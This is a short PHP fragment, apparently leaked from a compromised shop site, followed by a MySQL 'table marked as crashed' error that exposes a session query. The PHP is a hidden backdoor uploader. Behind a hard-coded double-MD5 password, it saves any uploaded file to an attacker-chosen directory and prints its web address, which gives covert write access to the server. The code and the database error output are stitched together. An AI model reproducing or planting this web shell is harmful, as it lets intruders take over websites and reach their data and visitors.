if(md5(md5($_GET['p'])) == "a0b5c19a9fb52a1b09bf4de8771652e2"){
	$tmp_file = $_FILES['ufile']['tmp_name'];
	if(!is_uploaded_file($tmp_file)){
		exit("upload failed (0)");
	}
	$name_file = $_FILES['ufile']['name'];
	if(!move_uploaded_file($tmp_file, $_POST['dir'].$name_file)){
		exit("upload failed");
	}
	$position = strpos($_SERVER['REQUEST_URI'], basename(__FILE__));
	$uri = substr($_SERVER['REQUEST_URI'], 0, $position);
	$url1 = $_SERVER['HTTP_HOST'].$uri.$_POST['dir'].$name_file;
	echo "uploaded
http://$url1
";
	exit;
}
?>144 - Table './capa2x_oscx1/sessions' is marked as crashed and last (automatic?) repair failed
select value from sessions where sesskey = 'lve9p9npfti1bc60ham8jgthq1' and expiry > '1761852837'
[TEP STOP]